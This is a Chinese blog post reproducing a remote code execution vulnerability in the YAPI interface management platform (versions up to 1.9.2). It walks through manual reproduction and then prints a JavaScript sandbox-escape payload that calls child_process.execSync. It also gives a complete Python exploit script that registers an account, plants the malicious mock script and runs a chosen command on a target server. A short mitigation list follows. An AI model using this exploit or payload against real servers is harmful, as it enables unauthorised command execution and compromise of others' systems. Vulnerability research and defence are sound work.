YAPI接口管理平台RCE复现-附exp

漏洞简介

YAPI是由去哪儿网移动架构组开发的可视化接口管理工具,是一个可本地部署的、打通前后端及QA的接口管理平台。
漏洞存在于YAPI的mock脚本服务上,是由于mock脚本自定义服务未对JS脚本的命令过滤,用户可以添加任何请求处理脚本,攻击者可利用该漏洞在受影响的服务器上执行任意JS代码。


影响版本

YAPI <= 1.9.2


漏洞复现

手工验证

1、注册账号
在这里插入图片描述
在这里插入图片描述


2、登录后新建项目
在这里插入图片描述在这里插入图片描述


3、设置全局mock脚本及接口
在这里插入图片描述
JS代码如下:

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami && ls").toString()

4、添加接口
在这里插入图片描述在这里插入图片描述


5、访问mock接口地址,命令执行成功
在这里插入图片描述


EXP验证

python yapi.py -u x.x.x.x -e whoami

在这里插入图片描述代码如下:

# -*- coding: utf-8 -*-

import json

import requests
import argparse

group_id = ''
project_id = ''
catid = ''
flag=1


def reg(gurl):
    global flag
    url = gurl + "/api/user/reg"
    header = {
        'Content-Type': 'application/json;charset=utf-8'
    }
    data = '{"email":"zxcc@zxcc.com","password":"zxcczxcc","username":"zxcc"}'
    rego = requests.post(url=url, headers=header, data=data)
    # print(rego.text)
    if str(400) in rego.text:
        flag = 0


session = requests.Session()


def login(gurl):
    url = gurl + "/api/user/login"
    header = {
        'Content-Type': 'application/json;charset=utf-8'
    }
    data = '{"email":"zxcc@zxcc.com","password":"zxcczxcc"}'
    logingo = session.post(url=url, headers=header, data=data)
    # print(logingo.text)
    # print(session.__dict__)


def add(gurl):
    global group_id, project_id, catid
    header = {
        'Content-Type': 'application/json;charset=utf-8'
    }
    turl = gurl + "/api/group/get_mygroup"
    t1 = session.get(url=turl)
    group_id = json.loads(t1.text)['data']['_id']
    url1 = gurl + "/api/project/add"
    data1 = '{"name":"1","basepath":"/1","group_id":"' + str(
        group_id) + '","icon":"code-o","color":"green","project_type":"private"}'
    add1 = session.post(url=url1, headers=header, data=data1)
    turl2 = gurl + "/api/project/list?group_id=" + str(group_id) + "&page=1&limit=10"
    t2 = session.get(url=turl2)
    project_id = json.loads(t2.text)['data']['list'][0]['_id']
    turl3 = gurl + "/api/interface/list_menu?project_id=" + str(project_id) + ""
    t3 = session.get(url=turl3)
    catid = json.loads(t3.text)['data'][0]['_id']
    url2 = gurl + "/api/interface/add"
    data2 = '{"method":"GET","catid":"' + str(catid) + '","title":"1","path":"/1","project_id":' + str(project_id) + '}'
    # print(data1)

    add2 = session.post(url=url2, headers=header, data=data2)
    # print(add1.text)
    # print(add2.text)


def run(gurl, exec):
    turl = gurl + "/api/interface/list?page=1&limit=20&project_id=" + str(project_id) + ""
    t1 = session.get(url=turl)
    interface_id = json.loads(t1.text)['data']['list'][0]['_id']
    url = gurl + "/api/plugin/advmock/save"
    data = '''{"project_id":"''' + str(project_id) + '''","interface_id":"''' + str(
        interface_id) + '''","mock_script":"const sandbox = this\\nconst ObjectConstructor = this.constructor\\nconst FunctionConstructor = ObjectConstructor.constructor\\nconst myfun = FunctionConstructor('return process')\\nconst process = myfun()\\nmockJson = process.mainModule.require(\\"child_process\\").execSync(\\"''' + exec + '''\\").toString()","enable":true}'''
    header = {
        'Content-Type': 'application/json;charset=utf-8'
    }

    cmd = session.post(url=url, data=data, headers=header)
    # print(cmd.text)
    result = requests.get(url=gurl + "/mock/" + str(project_id) + "/1/1")
    print(result.text)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Yapi RCE , need register mode open")
    parser.add_argument('-u', '--url')
    parser.add_argument('-e', '--exec', default='whoami & ifconfig || ipconfig')
    args = parser.parse_args()
    gurl = str(args.url).rstrip('/')
    exec = args.exec
    if args.url :
        # print(gurl)
        reg(gurl)
        if flag:
            login(gurl)
            add(gurl)
            run(gurl, exec)
        else:
            print('Not support register !')
    else:
        print('Need The Target,please add -h / --help')
    # print(group_id, project_id, catid, '123')


漏洞防御

1、更改Yapi运行端口

2、使用Nginx对Yapi进行反向代理

3、安全组只开放Nginx端口,你可以在Nginx限制IP白名单。

4、关闭Yapi注册

5、关闭Yapi Mock


参考文章:
感谢Azeng师傅提供的EXP
参考微信公众号:星期五实验室

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值